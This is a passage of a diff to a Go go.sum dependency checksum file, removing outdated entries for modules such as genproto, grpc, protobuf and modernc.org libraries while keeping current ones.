v0.0.0-20220414192740-2d67ff6cf2b4/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220421151946-72621c1f0bd3/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220429170224-98d788798c3e/go.mod h1:8w6bsBMX6yCPbAVTeqQHvzxW0EIFigd5lZyahWgyfDo= -google.golang.org/genproto v0.0.0-20220502173005-c8bf987b8c21/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220505152158-f39f71e6c8f3/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220518221133-4f43b3371335/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220523171625-347a074981d8/go.mod h1:RAyBrSAP7Fh3Nc84ghnVLDPuV51xc9agzmm4Ph6i0Q4= -google.golang.org/genproto v0.0.0-20220608133413-ed9918b62aac/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220616135557-88e70c0c3a90/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220617124728-180714bec0ad/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220624142145-8cd45d7dbd1f/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220628213854-d9e0b6570c03/go.mod h1:KEWEmljWE5zPzLBa/oHl6DaEt9LmfH6WtH1OHIvleBA= -google.golang.org/genproto v0.0.0-20220722212130-b98a9ff5e252/go.mod h1:GkXuJDJ6aQ7lnJcRF+SJVgFdQhypqgl3LB1C9vabdRE= -google.golang.org/genproto v0.0.0-20220801145646-83ce21fca29f/go.mod h1:iHe1svFLAZg9VWz891+QbRMwUv9O/1Ww+/mngYeThbc= -google.golang.org/genproto v0.0.0-20220815135757-37a418bb8959/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220817144833-d7fd3f11b9b1/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220822174746-9e6da59bd2fc/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220829144015-23454907ede3/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220829175752-36a9c930ecbf/go.mod h1:dbqgFATTzChvnt+ujMdZwITVAJHFtfyN1qUhDqEiIlk= -google.golang.org/genproto v0.0.0-20220913154956-18f8339a66a5/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220914142337-ca0e39ece12f/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220915135415-7fd63a7952de/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220916172020-2692e8806bfa/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220919141832-68c03719ef51/go.mod h1:0Nb8Qy+Sk5eDzHnzlStwW3itdNaWoZA5XeSG+R3JHSo= -google.golang.org/genproto v0.0.0-20220920201722-2b89144ce006/go.mod h1:ht8XFiar2npT/g4vkk7O0WYS1sHOHbdujxbEp7CJWbw= -google.golang.org/genproto v0.0.0-20220926165614-551eb538f295/go.mod h1:woMGP53BroOrRY3xTxlbr8Y3eB/nzAvvFM83q7kG2OI= -google.golang.org/genproto v0.0.0-20220926220553-6981cbe3cfce/go.mod h1:woMGP53BroOrRY3xTxlbr8Y3eB/nzAvvFM83q7kG2OI= -google.golang.org/genproto v0.0.0-20221010155953-15ba04fc1c0e/go.mod h1:3526vdqwhZAwq4wsRUaVG555sVgsNmIjRtO7t/JH29U= -google.golang.org/genproto v0.0.0-20221014173430-6e2ab493f96b/go.mod h1:1vXfmgAz9N9Jx0QA82PqRVauvCz1SGSz739p0f183jM= -google.golang.org/genproto v0.0.0-20221014213838-99cd37c6964a/go.mod h1:1vXfmgAz9N9Jx0QA82PqRVauvCz1SGSz739p0f183jM= -google.golang.org/genproto v0.0.0-20221024153911-1573dae28c9c/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= -google.golang.org/genproto v0.0.0-20221024183307-1bc688fe9f3e/go.mod h1:9qHF0xnpdSfF6knlcsnpzUu5y+rpwgbvsyGAZPBMg4s= -google.golang.org/genproto v0.0.0-20221027153422-115e99e71e1c/go.mod h1:CGI5F/G+E5bKwmfYo09AXuVN4dD894kIKUFmVbP2/Fo= -google.golang.org/genproto v0.0.0-20221109142239-94d6d90a7d66/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221114212237-e4508ebdbee1/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221117204609-8f9c96812029/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221118155620-16455021b5e6/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221201164419-0e50fba7f41c/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221201204527-e3fa12d562f3/go.mod h1:rZS5c/ZVYMaOGBfO68GWtjOw/eLaZM1X6iVtgjZ+EWg= -google.golang.org/genproto v0.0.0-20221202195650-67e5cbc046fd/go.mod h1:cTsE614GARnxrLsqKREzmNYJACSWWpAWdNMwnD7c2BE= -google.golang.org/genproto v0.0.0-20221227171554-f9683d7f8bef/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230110181048-76db0878b65f/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230112194545-e10362b5ecf9/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230113154510-dbe35b8444a5/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230123190316-2c411cf9d197/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230124163310-31e0e69b6fc2/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230125152338-dcaf20b6aeaa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230127162408-596548ed4efa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230209215440-0dfe4f8abfcc/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= -google.golang.org/genproto v0.0.0-20230216225411-c8e22ba71e44/go.mod h1:8B0gmkoRebU8ukX6HP+4wrVQUY1+6PkQ44BSyIlflHA= -google.golang.org/genproto v0.0.0-20230222225845-10f96fb3dbec/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= -google.golang.org/genproto v0.0.0-20230223222841-637eb2293923/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= -google.golang.org/genproto v0.0.0-20230303212802-e74f57abe488/go.mod h1:TvhZT5f700eVlTNwND1xoEZQeWTB2RY/65kplwl/bFA= -google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= -google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= -google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230403163135-c38d8f061ccd/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= -google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1/go.mod h1:nKE/iIaLqn2bQwXBg8f1g2Ylh6r5MN5CmZvuzZCgsCU= -google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= -google.golang.org/genproto v0.0.0-20230526161137-0005af68ea54/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= -google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= -google.golang.org/genproto v0.0.0-20230629202037-9506855d4529/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= -google.golang.org/genproto v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:O9kGHb51iE/nOGvQaDUuadVYqovW56s5emA88lQnj6Y= -google.golang.org/genproto v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:0ggbjUrZYpy1q+ANUS30SEoGZ53cdfwtbuG7Ptgy108= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= -google.golang.org/genproto/googleapis/api v0.0.0-20230525234020-1aefcd67740a/go.mod h1:ts19tUU+Z0ZShN1y3aPyq2+O3d5FUNNgT6FtOzmrNn8= -google.golang.org/genproto/googleapis/api v0.0.0-20230525234035-dd9d682886f9/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230629202037-9506855d4529/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= -google.golang.org/genproto/googleapis/api v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:mPBs5jNgx2GuQGvFwUvVKqtn6HsUw9nP64BedgvqEsQ= -google.golang.org/genproto/googleapis/api v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:rsr7RhLuwsDKL7RmgDDCUc6yaGr1iqceVb5Wv6f6YvQ= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= -google.golang.org/genproto/googleapis/bytestream v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:ylj+BE99M198VPbBh6A8d9n3w8fChvyLK3wwBOjXBFA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234015-3fc162c6f38a/go.mod h1:xURIpW9ES5+/GZhnV6beoEtxQrnkRGIfP5VQG2tCBLc= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234030-28d5490b6b19/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230629202037-9506855d4529/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:8mL13HKkDa+IuJ8yruA3ci0q+0vsUz4m//+ottjwS5o= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230731190214-cbb8c96f2d6d/go.mod h1:TUfxEVdsvPg18p6AslUXFoLdpED4oBnGwyqk3dV1XzM= -google.golang.org/genproto/googleapis/rpc v0.0.0-20230803162519-f966b187b2e5/go.mod h1:zBEcrKX2ZOcEkHWxBPAIvYUWOKKMIhYcmNiUIu2ji3I= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= @@ -2182,38 +845,7 @@ google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKa google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= -google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= -google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= -google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= -google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= -google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= -google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= -google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= -google.golang.org/grpc v1.41.0/go.mod h1:U3l9uK9J0sini8mHphKoXyaqDA/8VyGnDee1zzIUK6k= -google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= -google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= -google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.47.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= -google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= -google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= -google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= -google.golang.org/grpc v1.52.3/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= -google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= -google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= -google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= -google.golang.org/grpc v1.56.2/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s= google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= @@ -2230,11 +862,6 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= @@ -2242,7 +869,6 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= -gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= @@ -2261,7 +887,6 @@ gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= @@ -2272,60 +897,6 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= -honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= -lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= -lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= -modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= -modernc.org/cc/v3 v3.37.0/go.mod h1:vtL+3mdHx/wcj3iEGz84rQa8vEqR6XM84v5Lcvfph20= -modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= -modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= -modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= -modernc.org/ccgo/v3 v3.0.0-20220904174949-82d86e1b6d56/go.mod h1:YSXjPL62P2AMSxBphRHPn7IkzhVHqkvOnRKAKh+W6ZI= -modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= -modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= -modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= -modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= -modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g= -modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= -modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= -modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= -modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= -modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= -modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= -modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= -modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= -modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= -modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= -modernc.org/libc v1.17.4/go.mod h1:WNg2ZH56rDEwdropAJeZPQkXmDwh+JCA1s/htl6r2fA= -modernc.org/libc v1.18.0/go.mod h1:vj6zehR5bfc98ipowQOM2nIDUZnVew/wNC/2tOGS+q0= -modernc.org/libc v1.20.3/go.mod h1:ZRfIaEkgrYgZDl6pa4W39HgN5G/yDW+NRmNKZBDFrk0= -modernc.org/libc v1.21.4/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI= -modernc.org/libc v1.22.2/go.mod h1:uvQavJ1pZ0hIoC/jfqNoMLURIMhKzINIWypNM17puug= -modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= -modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= -modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= -modernc.org/memory v1.2.1/go.mod 